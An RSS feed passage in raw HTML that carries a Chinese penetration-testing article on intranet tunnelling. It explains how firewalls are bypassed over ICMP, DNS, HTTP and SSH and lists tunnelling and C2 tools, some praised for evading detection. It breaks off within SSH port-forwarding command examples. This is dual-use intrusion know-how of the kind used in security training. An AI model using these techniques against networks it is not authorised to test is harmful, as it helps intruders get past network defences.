!important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;height: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="white-space: normal;max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section><p><br/></p>



<p><a href="https://www.ms509.com/2020/06/17/Collect-login-credentials/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7f6df57c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935401%26idx%3D1%26sn%3D1479fdbbe9e2779477b2fe764bffb2c2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Jun 2020 12:45:00 +0800</pubDate>
    </item>
    <item>
      <title>内网渗透之内网穿透</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935384&amp;idx=1&amp;sn=55e74a81e3e15267eb2bfe91f8f38300</link>
      <description>0x0 前言网络上关于内网穿透的文章很多，但大部分都是侧重于工具的使用，原理提及较少。本文将从内网穿透的原理</description>
      <content:encoded><![CDATA[<p>
<span>last0monster</span> <span>2020-06-20 00:17</span> <span style="display: inline-block;"></span>
</p>

<p>0x0 前言网络上关于内网穿透的文章很多，但大部分都是侧重于工具的使用，原理提及较少。本文将从内网穿透的原理</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c1c266f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1UbDicYxXVpqkRpibtkqBWvKVIVk6FYWOBybclEGfOQxjo0TN1O3UmgwQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.11875" style="width: 578px;height: 69px;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></h2><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x0 前言</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">网络上关于内网穿透的文章很多，但大部分都是侧重于工具的使用，原理提及较少。本文将从内网穿透的原理开始探讨，根据不同的内网出网入网情况，灵活设计对应的内网穿透方案。</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x1 内网穿透原理</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">内网穿透是:利用各种隧道技术，以网络防火墙允许的协议，绕过网络防火墙的封锁，实现访问被封锁的目标网络。</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">什么是隧道技术呢？我们看一下百科词条的解释</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息，从而使封装的负载数据能够通过互联网络传递。被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点，数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。</p></blockquote><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">我们进行内网渗透常用的隧道技术有dns隧道、http隧道、ssh隧道、icmp隧道等容易被网络防火墙放行的协议。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">这些隧道技术可以按所处的协议层分层。</p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p>网络层隧道</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">ICMP隧道等</p></blockquote></li><li><p>传输层隧道</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">TCP隧道、UDP隧道</p></blockquote></li><li><p>应用层隧道</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">HTTP、DNS、SSH等隧道</p></blockquote></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">内网主机所有可能的出网方式</span></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p>允许ICMP协议出网</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">网络防火墙允许ICMP协议出网，即能ping通外网主机，一般都能出网</p></blockquote></li><li><p>允许特定的TCP或UDP协议端口出网</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">网络防火墙允许特定的TCP或者UDP端口出网，比如连接外网的22、53、80、443、3389等常见应用的默认监听端口。在一个不能出网的网络环境里面，将所有的TCP和UPD端口都探测一遍，通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致。比如配置的防火墙规则前后矛盾，解析的时候遇到匹配规则就退出执行；比如网络管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。网络管理员配置时偷懒，可能会直接放行web服务器到任意ip地址的3306端口</p></blockquote></li><li><p>允许特定的应用层协议出网（比如HTTP、SSH、DNS等应用层协议）</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">这种网络防火墙能识别应用层的协议，放行允许出网的协议，比如HTTP、SSH、DNS、RDP等应用层协议;通常办公网是允许HTTP协议出网的，可能会域名白名单限制</p></blockquote></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">内网主机所有可能的入网方式</span></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">允许ICMP协议入网</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">能ping通目标主机</p></blockquote></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">允许特定的TCP或UDP协议端口入网</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">NAT端口映射公网IP端口到内网主机的服务端口，比如将web服务、mysql服务NAT映射到公网</p></blockquote></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">允许特定的应用层协议入网</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">这种网络防火墙能识别应用层的协议，放行允许入网的协议。比如HTTP反向代理，将公网收到的HTTP流量反向代理进内网主机。当前主流的入网方式，通常会加层WAF审查入网流量</p></blockquote><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">0x2 内网穿透常用工具</h2><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">0x2.1 网络层隧道工具</h3></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">icmpsh</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">能通过ICMP协议反弹cmd，功能单一，反弹回来的cmd极不稳定，不推荐使用</p></blockquote></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">icmptunnel</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">创建虚拟网卡通过ICMP协议传输网卡流量，基于ICMP隧道的vpn，需要root权限，动静极大，不推荐使用</p></blockquote></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">pingtunnel</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">tcp、udp、socks5 over ICMP，速度快，连接稳定，跨平台，client模式不需要管理员权限即可正常使用，推荐使用</p></blockquote></li></ul><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x2.2 传输层隧道工具</h3><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p>netcat</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">网络工具中的瑞士军刀，不多介绍，linux系统一般自带</p></blockquote></li><li><p>powercat</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">powershell版的netcat</p></blockquote></li><li><p>socat</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">具有记录转发流的功能，方便查看转发内容，需要安装</p></blockquote></li><li><p>netsh</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">windows系统自带的网络配置工具</p></blockquote></li><li><p>lcx</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">端口转发工具</p></blockquote></li><li><p>NATBypass</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">一款lcx在golang下的实现,更好的跨平台，更完善的文档</p></blockquote></li><li><p>iox</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">端口转发 &amp; 内网代理工具，功能类似于lcx/ew，简化了命令行参数，支持UDP流量转发，更好的跨平台。缺点：不支持监听指定IP，默认监听0.0.0.0:port，会增大暴露风险</p></blockquote></li></ul><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x2.3 应用层隧道工具</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">由于应用层协议极多，对应的隧道工具也很多，我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等</p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p>dnscat2</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">不仅可以创建DNS隧道，更是C2</p></blockquote></li><li><p>dnscat2-powershell</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">dnscat2的powershell客户端</p></blockquote></li><li><p>dns2tcp</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">TCP over DNS,即通过DNS隧道转发TCP连接</p></blockquote></li><li><p>iodine</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">IPv4 over DNS，即通过DNS隧道转发IPv4数据包</p></blockquote></li><li><p>reGeorg</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">SOCKS over HTTP,即通过HTTP隧道转发SOCKS</p></blockquote></li><li><p>Neo-reGeorg</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">重构版reGeorg，提高稳定性和可用性，避免特征检测，更新活跃</p></blockquote></li><li><p>reDuh</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">TCP over HTTP,即通过HTTP隧道转发TCP连接，隧道不稳定</p></blockquote></li><li><p>Tunna</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS，隧道不稳定</p></blockquote></li><li><p>ABPTTS</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密，可自定义HTTP数据，对抗特征检测十分优秀，创建的隧道十分稳定，比较遗憾的是支持的web脚本类型只有aspx和jsp</p></blockquote></li><li><p>EarthWorm</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">十分方便的多级SOCKS代理，已经永久停止更新</p></blockquote></li><li><p>Termite</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">EarthWorm的升级版，已经永久停止更新</p></blockquote></li><li><p>Venom</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。</p></blockquote></li><li><p>ssocks</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">正向和反向的socks工具，可执行文件的大小很小</p></blockquote></li><li><p>s5.go</p><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">go语言编写的socks服务工具，良好的跨平台特性</p></blockquote></li><li><p>ssh<br/>本地转发：</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="682"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="613"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 613.672px;"><span style="height: 1.3em;font-size: 13px;">ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1</span><br/><span style="height: 1.3em;font-size: 13px;">#ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端，再由服务端转发到114.114.114.114:9999</span><br/></pre></td></tr></tbody></table></figure><p>远程转发：</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="682"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="613"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 613.672px;"><span style="height: 1.3em;font-size: 13px;">ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1</span><br/><span style="height: 1.3em;font-size: 13px;">#ssh服务端监听127.0.0.1:7777, 